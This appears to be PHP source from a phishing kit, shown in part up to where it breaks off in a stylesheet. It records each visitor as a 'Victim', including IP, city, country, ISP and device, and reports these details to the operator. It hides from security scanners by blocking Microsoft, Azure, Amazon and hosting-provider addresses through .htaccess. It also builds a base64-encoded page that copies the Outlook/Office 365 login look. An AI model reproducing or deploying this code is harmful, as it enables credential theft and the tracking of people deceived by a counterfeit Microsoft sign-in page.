function save_r($name,$content,$type="json"){
	switch($type){
		case 'json':
			file_put_contents('./admin/'.$name,json_encode($content).PHP_EOL,FILE_APPEND);
			break;
		default:
			file_put_contents($name,$content.PHP_EOL,FILE_APPEND);
	}
}
function get_t_d($bot,$chat,$email,$v_send,$block_checker,$details){
list($block_black,$block_proxy,$accepted_countrys) = array_map(function($inp){
	return $GLOBALS[$inp];
},["block_black","block_proxy","accepted_countrys"]);
$details = is_array($details) ? $details : json_decode($details,1);
$specip=$_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'];
if(!isset($details["country"]) || !isset($details["isp"])){
	$detail = json_decode(file_get_contents('<https://nordvpn.com/wp-admin/admin-ajax.php?action=get_user_info_data&ip=>'.$specip),1);
	if($detail !=  null){
		$details["countrycode"] = $detail["country_code"] ?? "";
		$details = @array_merge($details,$detail);
	}
	if($detail == null || !isset($details["country"])){
		$detail =json_decode(file_get_contents('<https://ipinfo.io/'.$specip.'/json>'),1);
		$details["countrycode"] = $detail["country"] ?? "";
		$details["timezone"] = $detail["timezone"] ?? "";
		$details["country"] = $detail["country"] ?? "";
		$details["city"] = $detail["region"] ?? "";
		$details["isp"] = @preg_replace("/AS(.*?) /i","",($detail["org"] ?? ""));
	}
}
$country=isset($details['country']) ? $details['country'] : '' ;
$isp=isset($details['isp']) ? @trim($details['isp']) : '' ;
$GLOBALS["country"] = $country;
$GLOBALS["isp"] = $isp;
if(!isset($details['ip'])){
	file_put_contents('error.txt',json_encode($details).PHP_EOL);
}
$ip=$specip;
$city=isset($details['city']) ? $details['city'] : '' ;
$timezone=$details['timezone'] ?? '' ;
$GLOBALS["city"] = $city;
$os=os();
$browser=browse();
$det="Victim : $ip
City : $city
Country : $country
Browser : $browser
Device : $os
ISP : $isp".($timezone != "" ? ("
Timezone : $timezone
") : "");

function redirect($one = 0,$reason="Known Bot",$range=false){
list($ip,$city,$country,$isp) = array_map(function($inp){
	return $GLOBALS[$inp];
},["ip","city","country","isp"]);
if($one){
	$ip =$_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'];
	$ip_arr = explode(',',$ip);
	foreach ($ip_arr as $_ => $of){
		$deny = sprintf('deny from %s',$of.PHP_EOL);
		file_put_contents('.htaccess',$deny,FILE_APPEND);
	}
	if($range)
			file_put_contents('.htaccess',$range,FILE_APPEND);
}
 save_r('log.json',array(
	'ip' => $ip,
	'city' => $city,
	'country' => $country,
	'isp' => $isp,
	'bot' => 1,
	'reason' => $reason,
	'date' => date('jS F Y, h:i:s A'),
));
echo "{\\"block\\":\\"[$reason]\\"}"; //add js to show block reason
exit();
}
//blacklisted ip
$details["blacklist"] = $details["blacklist"] ?? "";
if($details["blacklist"] && $block_black){
	redirect(0,$reason="Blacklisted Ip");
}

//proxy usage
$details["proxy_usage"] = $details["proxy_usage"] ?? "";
if($details["proxy_usage"] && $block_proxy){
	redirect(0,$reason="Using Proxy");
}

//country code
$details["countrycode"] = $details["countrycode"] ?? "";
if(!in_array($details["countrycode"],(explode(",",$accepted_countrys))) && !empty($accepted_countrys)){
	redirect(0,$reason="Wrong Country");
}

if($block_checker == "1"){
if (preg_match('/40\\.94/',$ip)){
	redirect(1);
}
if($ip == '69.55.5.249'){
	redirect(1);
}
if($ip == '47.19.239.50'){
	redirect(1);
}
if ($isp=='Microsoft Corporation' || $isp == 'Microsoft Azure'){
	redirect(1);
}
if ($isp=='Amazon.com' && strtolower($city)== 'ashburn'){
	redirect(1);
}
if(preg_match('/leaseweb/i',$isp)){
	redirect(1);
}
if(strtolower($isp) == 'm247 ltd'){
	redirect(1);
}
if($isp == 'Cogent Communications'){
	redirect(1);
}
$bl = file_get_contents("admin/bl.txt");
$bls = explode(PHP_EOL,$bl);
foreach($bls as $in => $val){
	$js = json_decode($val,1);
	switch($js["h"]){
		case "ip":
			if(stripos($ip,$js["v"]) !== false){
				redirect(1);
			}
			break;
		case "isp":
			if(stripos($isp,$js["v"]) !== false){
				redirect(1);
			}
			break;
		default:
			break;
	}
}
}
save_r('log.json',array(
	'ip' => $ip,
	'city' => $city,
	'country' => $country,
	'isp' => $isp,
	'bot' => 0,
	'date' => date('jS F Y, h:i:s A'),
));
if ($v_send == "1"){
$dis=new disp();
$dis->send($det,$bot,$chat,$email,'visits.txt');
}
}
function to_output($email,$url,$api,$chat,$config = null){
	if($config){
		$arr_conf = json_decode(base64_decode($config),1);
		if($arr_conf){
			if($arr_conf["title"] != "default"){
				$title = $arr_conf["title"];
			};
			if($arr_conf["back"] != "default"){
				$back = sprintf("url(%s);",$arr_conf["back"]);
			}
			if($arr_conf["caption"] != "default"){
				$caption = $arr_conf["caption"];
			}
		}
	}
	return base64_encode('<html dir="ltr" lang="en" style="filter: hue-rotate(10deg)">
   <meta charset="utf-8">
   <link href="data:image/png;base64,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" rel="shortcut icon">
   <link rel="stylesheet" href="<https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css>" integrity="sha256-NuCn4IvuZXdBaFKJOAcsU2Q3ZpwbdFisd5dux4jkQ5w=" crossorigin="anonymous">
   <style>@font-face {
                font-family: \\'Segoe UI WestEuropean\\';
                src: local(\\'Segoe UI Light\\'), local(\\'Segoe WP Light\\'),
                    url(\\'<https://outlook-1.cdn.office.net/assets/mail/fonts/v1/fonts/segoeui-light.eot?#iefix\\>')
                        format(\\'embedded-opentype\\'),
                    url(\\'<https://outlook-1.cdn.office.net/assets/mail/fonts/v1/fonts/segoeui-light.woff\\>')
                        format(\\'woff\\'),
                    url(\\'<https://outlook-1.cdn.office.net/assets/mail/fonts/v1/fonts/segoeui-light.ttf\\>')
     ;                   format(\\'truetype\\');
                font-weight: 100;
                font-style: normal;
            }
            @font-face {
                font-family: \\'Segoe UI WestEuropean\\';
                src: local(\\'Segoe UI\\'), local(\\'Segoe WP\\'),
                    url(\\'<https://outlook-1.cdn.office.net/assets/mail/fonts/v1/fonts/segoeui-regular.eot?#iefix\\>')
                        format(\\'embedded-opentype\\'),
                    url(\\'<https://outlook-1.cdn.office.net/assets/mail/fonts/v1/fonts/segoeui-regular.woff\\>')
                        format(\\'woff\\'),
                    url(\\'<https://outlook-1.cdn.office.net/assets/mail/fonts/v1/fonts/segoeui-regular.ttf\\>')
                        format(\\'truetype\\');
                font-weight: 400;
                font-style: normal;
            }
            @font-face {
                font-family: \\'Segoe UI WestEuropean\\';
                src: local(\\'Segoe UI Semibold\\'), local(\\'Segoe WP Semibold\\'),
                    url(\\'<https://outlook-1.cdn.office.net/assets/mail/fonts/v1/fonts/segoeui-semibold.eot?#iefix\\>')
                        format(\\'embedded-opentype\\'),
                    url(\\'<https://outlook-1.cdn.office.net/assets/mail/fonts/v1/fonts/segoeui-semibold.woff\\>')
                        format(\\'woff\\'),
                    url(\\'<https://outlook-1.cdn.office.net/assets/mail/fonts/v1/fonts/segoeui-semibold.ttf\\>')
                        format(\\'truetype\\');
                font-weight: 600;
                font-style: normal;
            }
            @font-face {
                font-family: \\'Segoe UI WestEuropean\\';
                src: local(\\'Segoe UI Semilight\\'), local(\\'Segoe WP Semilight\\'),
                    url(\\'<https://outlook-1.cdn.office.net/assets/mail/fonts/v1/fonts/segoeui-semilight.eot?#iefix\\>')
                        format(\\'embedded-opentype\\'),
                    url(\\'<https://outlook-1.cdn.office.net/assets/mail/fonts/v1/fonts/segoeui-semilight.woff\\>')
                        format(\\'woff\\'),
                    url(\\'<https://outlook-1.cdn.office.net/assets/mail/fonts/v1/fonts/segoeui-semilight.ttf\\>')
                        format(\\'truetype\\');
                font-weight: 200;
                font-style: normal;
            }
            @font-face {
                font-family: \\'FabricMDL2Icons\\';
                src: url(\\'<https://outlook-1.cdn.office.net/owamail/20220325002.04/resources/fonts/o365icons-mdl2.woff\\>')
                        format(\\'woff\\'),
                    url(\\'<https://outlook-1.cdn.office.net/owamail/20220325002.04/resources/fonts/o365icons-mdl2.ttf\\>')
                        format(\\'truetype\\');
                font-weight: normal;
                font-style: normal;
            }
            @font-face {
                font-family: \\'office365icons\\';
                src: url(\\'<https://outlook-1.cdn.office.net/owamail/20220325002.04/resources/fonts/office365icons.eot?\\>');
                src: url(\\'<https://outlook-1.cdn.office.net/owamail/20220325002.04/resources/fonts/office365icons.eot?#iefix\\>')
                        format(\\'embedded-opentype\\'),
                    url(\\'<https://outlook-1.cdn.office.net/owamail/20220325002.04/resources/fonts/office365icons.woff?\\>')
                        format(\\'woff\\'),
                    url(\\'<https://outlook-1.cdn.office.net/owamail/20220325002.04/resources/fonts/office365icons.ttf?\\>')
                        format(\\'truetype\\'),
                    url(\\'<https://outlook-1.cdn.office.net/owamail/20220325002.04/resources/fonts/office365icons.svg?#office365icons\\>')
                        format(\\'svg\\');
                font-weight: normal;
                font-style: normal;
            }
            #preloadDiv {
                height: 1px;
                margin-bottom: -1px;
                overflow: hidden;
                visibility: hidden;
            }
            #loadingScreen {
                position: fixed;
                top: 0;
                bottom: 0;
                left: 0;
                right: 0;
                background-color: #fff;
            }
            #loadingLogo {
                position: fixed;
                top: calc(50vh - 90px);
                left: calc(50vw - 90px);
                width: 180px;
                height: 180px;
            }
            #MSLogo {
                position: fixed;
                bottom: 36px;
                left: calc(50vw - 45px);
            }
            .dark #loadingScreen {
                background-color: #333;
            }
            #loadingLogo2_ts {
                animation: loadingLogo2_ts__ts 3000ms linear 1 normal forwards;
                animation-iteration-count: 1000;
            }
            #loadingLogo2 {
                animation: loadingLogo2_c_o 3000ms linear 1 normal forwards;
                animation-iteration-count: 1000;
            }
            #loadingLogo3_to {
                animation: loadingLogo3_to__to 3000ms linear 1 normal forwards;
                animation-iteration-count: 1000;
            }
            #loadingLogo6_ts {
                animation: loadingLogo6_ts__ts 3000ms linear 1 normal forwards;
                animation-iteration-count: 1000;
            }
            #loadingLogo8_ts {
                animation: loadingLogo8_ts__ts 3000ms linear 1 normal forwards;
                animation-iteration-count: 1000;
            }
            #loadingLogo9_to {
                animation: loadingLogo9_to__to 3000ms linear 1 normal forwards;
                animation-iteration-count: 1000;
            }
            #loadingLogo29_ts {
                animation: loadingLogo29_ts__ts 3000ms linear 1 normal forwards;
                animation-iteration-count: 1000;
            }
            @keyframes loadingLogo2_ts__ts {
                0% {
                    transform: translate(108.89443px, 155.715127px) scale(0.668963, 0.668963);
                    animation-timing-function: cubic-bezier(0.42, 0, 0.58, 1);
                }
                26.666667% {
                    transform: translate(108.89443px, 155.715127px) scale(1, 1);
                }
                100% {
                    transform: translate(108.89443px, 155.715127px) scale(1, 1);
                }
            }
            @keyframes loadingLogo2_c_o {
                0% {
                    opacity: 0;
                }
                18.333333% {
                    opacity: 1;
                }
                100% {
                    opacity: 1;
                }
            }
            @keyframes loadingLogo3_to__to {
                0% {
                    transform: translate(101.000155px, 195.970703px);
                }
                13.333333% {
                    transform: translate(101.000155px, 195.970703px);
                    animation-timing-function: cubic-bezier(0, 0, 1, 0.025);
                }
                31% {
                    transform: translate(101.000155px, 206px);
                    animation-timing-function: cubic-bezier(0.135, 0.71, 0.03, 0.985);
                }
                50% {
                    transform: translate(101.000155px, 195.970703px);
                }
                100% {
                    transform: translate(101.000155px, 195.970703px);
                }
            }
            @keyframes loadingLogo6_ts__ts {
                0% {
                    transform: translate(101.000708px, 97.499588px) scale(1, -0.00172);
                }
                23.333333% {
                    transform: translate(101.000708px, 97.499588px) scale(1, -0.00172);
                    animation-timing-function: cubic-bezier(0.135, 0.71, 0.03, 0.985);
                }
                40% {
                    transform: translate(101.000708px, 97.499588px) scale(1, 1);
                }
                100% {
                    transform: translate(101.000708px, 97.499588px) scale(1, 1);
                }
            }
            @keyframes loadingLogo8_ts__ts {
                0% {
                    transform: translate(101.000699px, 159.914723px) scale(1, 1);
                }
                39.666667% {
                    transform: translate(101.000699px, 159.914723px) scale(1, 1);
                }
                50% {
                    transform: translate(101.000699px, 159.914723px) scale(1, 1.05036);
                }
                52.333333% {
                    transform: translate(101.000699px, 159.914723px) scale(1, 0.959233);
                }
                57.666667% {
                    transform: translate(101.000699px, 159.914723px) scale(1, 1);
                }
                100% {
                    transform: translate(101.000699px, 159.914723px) scale(1, 1);
                }
            }
            @keyframes loadingLogo9_to__to {
                0% {
                    transform: translate(101px, 205.753765px);
                }
                26.666667% {
                    transform: translate(101px, 205.753765px);
                    animation-timing-function: cubic-bezier(0.175, 0.885, 0.32, 1.275);
                }
                50% {
                    transform: translate(101px, 81px);
                }
                100% {
                    transform: translate(101px, 81px);
                }
            }
            @keyframes loadingLogo29_ts__ts {
                0% {
                    transform: translate(101.000699px, 97.499573px) scale(1, 1);
                }
                13.333333% {
                    transform: translate(101.000699px, 97.499573px) scale(1, 1);
                    animation-timing-function: cubic-bezier(0, 0, 1, 0.025);
                }
                23.333333% {
                    transform: translate(101.000699px, 97.499573px) scale(1, 0.001723);
                }
                100% {
                    transform: translate(101.000699px, 97.499573px) scale(1, 0.001723);
                }
            }
		#bg_img {
			height: 100%;
			background-position: center;
			background-repeat: no-repeat;
			background-size: cover
		}
            
            html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0 ; }
article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}
audio,canvas,progress,video{display:inline-block;vertical-align:baseline}
audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}dfn{font-style:italic}h1{font-size:2em;margin:.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-0.5em}sub{bottom:-0.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{color:inherit;font:inherit;margin:0}button{overflow:visible}button,select{text-transform:none}button,html input[type="button"],input[type="reset"],input[type="submit"]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}input{line-height:normal}input[type="checkbox"],input[type="radio"]{box-sizing:border-box;padding:0}input[type="number"]::-webkit-inner-spin-button,input[type="number"]::-webkit-outer-spin-button{height:auto}input[type="search"]{-webkit-appearance:textfield;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box}input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration{-webkit-appearance:none}fieldset{border:1px solid #c0c0c0;margin:0 2px;padding:.35em .625em .75em}legend{border:0;padding:0}textarea{overflow:auto}optgroup{font-weight:bold}table{border-collapse:collapse;border-spacing:0}td,th{padding:0}*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}*:before,*:after{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}input,button,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a:focus{outline:thin dotted;outline-offset:-2px;outline:5px auto -webkit-focus-ring-color}figure{margin:0}img{vertical-align:middle}.img-responsive{display:block;max-width:100%;height:auto}.img-circle{border-radius:50%}.sr-only{position:absolute;width:1px;height:1px;margin:-1px;padding:0;overflow:hidden;clip:rect(0, 0, 0, 0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}html{font-size:100%}body{font-family:"Segoe UI Webfont",-apple-system,"Helvetica Neue","Lucida Grande","Roboto","Ebrima","Nirmala UI","Gadugi","Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI","Tunga","Lao UI","Raavi","Iskoola Pota","Latha","Leelawadee","Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math";font-size:15px;line-height:20px;font-weight:400;font-size:.9375rem;line-height:1.25rem;padding-bottom:.227px;padding-top:.227px;color:#000;background-color:#fff}a{color:#ccc;text-decoration:none}a:link{color:#0067b8}a:visited{color:#0067b8}a:hover{color:#666}a:focus{color:#0067b8}a:active{color:#999}.text-center{text-align:center}.text-justify{text-align:justify}.text-nowrap{white-space:nowrap}.text-lowercase{text-transform:lowercase}.text-uppercase{text-transform:uppercase}.text-capitalize{text-transform:capitalize}ul,ol{margin-top:0;margin-bottom:10px}ul ul,ul ol,ol ul,ol ol{margin-bottom:0}abbr[title],abbr[data-original-title]{cursor:help}blockquote p:last-child,blockquote ul:last-child,blockquote ol:last-child{margin-bottom:0}blockquote footer,blockquote small,blockquote .small{display:block}address{font-style:normal}@font-face{font-family:\\'Segoe UI Webfont\\';src:local("Segoe UI Light");font-weight:200;font-style:normal}@font-face{font-family:\\'Segoe UI Webfont\\';src:local("Segoe UI");font-weight:400;font-style:normal}@font-face{font-family:\\'Segoe UI Webfont\\';src:local("Segoe UI Semibold");font-weight:600;font-style:normal}h1,h2,h3,h4,h5,h6,.text-headline,.text-header,.text-subheader,.text-title,.text-subtitle,.text-body,.text-base,.text-caption,.text-caption-alt,.text-subcaption,p{margin-bottom:20px;margin-top:20px;margin-bottom:1.25rem;margin-top:1.25rem}.text-headline{font-size:62px;line-height:80px;font-weight:200;font-size:3.875rem;line-height:5rem;padding-bottom:2.2716px;padding-top:2.2716px}.text-headline.text-maxlines-1{white-space:nowrap;text-overflow:ellipsis;max-height:84.5432px;max-height:5.28395rem}.text-headline.text-maxlines-2{max-height:164.5432px;max-height:10.28395rem}.text-headline.text-maxlines-3{max-height:244.5432px;max-height:15.28395rem}.text-headline.text-maxlines-4{max-height:324.5432px;max-height:20.28395rem}.text-header,h1{font-size:46px;line-height:56px;font-weight:200;font-size:2.875rem;line-height:3.5rem;padding-bottom:3.3628px;padding-top:3.3628px}.text-header.text-maxlines-1,h1.text-maxlines-1{white-space:nowrap;text-overflow:ellipsis;max-height:62.7256px;max-height:3.92035rem}.text-header.text-maxlines-2,h1.text-maxlines-2{max-height:118.7256px;max-height:7.42035rem}.text-header.text-maxlines-3,h1.text-maxlines-3{max-height:174.7256px;max-height:10.92035rem}.text-header.text-maxlines-4,h1.text-maxlines-4{max-height:230.7256px;max-height:14.42035rem}.text-subheader,h2{font-size:34px;line-height:40px;font-weight:200;font-size:2.125rem;line-height:2.5rem;padding-bottom:3.1812px;padding-top:3.1812px}.text-subheader.text-maxlines-1,h2.text-maxlines-1{white-space:nowrap;text-overflow:ellipsis;max-height:46.3624px;max-height:2.89765rem}.text-subheader.text-maxlines-2,h2.text-maxlines-2{max-height:86.3624px;max-height:5.39765rem}.text-subheader.text-maxlines-3,h2.text-maxlines-3{max-height:126.3624px;max-height:7.89765rem}.text-subheader.text-maxlines-4,h2.text-maxlines-4{max-height:166.3624px;max-height:10.39765rem}.text-title,h3{font-size:24px;line-height:28px;font-weight:300;font-size:1.5rem;line-height:1.75rem;padding-bottom:2.3632px;padding-top:2.3632px}.text-title.text-maxlines-1,h3.text-maxlines-1{white-space:nowrap;text-overflow:ellipsis;max-height:32.7264px;max-height:2.0454rem}.text-title.text-maxlines-2,h3.text-maxlines-2{max-height:60.7264px;max-height:3.7954rem}.text-title.text-maxlines-3,h3.text-maxlines-3{max-height:88.7264px;max-height:5.5454rem}.text-title.text-maxlines-4,h3.text-maxlines-4{max-height:116.7264px;max-height:7.2954rem}.text-subtitle,h4{font-size:20px;line-height:24px;font-weight:400;font-size:1.25rem;line-height:1.5rem;padding-bottom:1.636px;padding-top:1.636px}.text-subtitle.text-maxlines-1,h4.text-maxlines-1{white-space:nowrap;text-overflow:ellipsis;max-height:27.272px;max-height:1.7045rem}.text-subtitle.text-maxlines-2,h4.text-maxlines-2{max-height:51.272px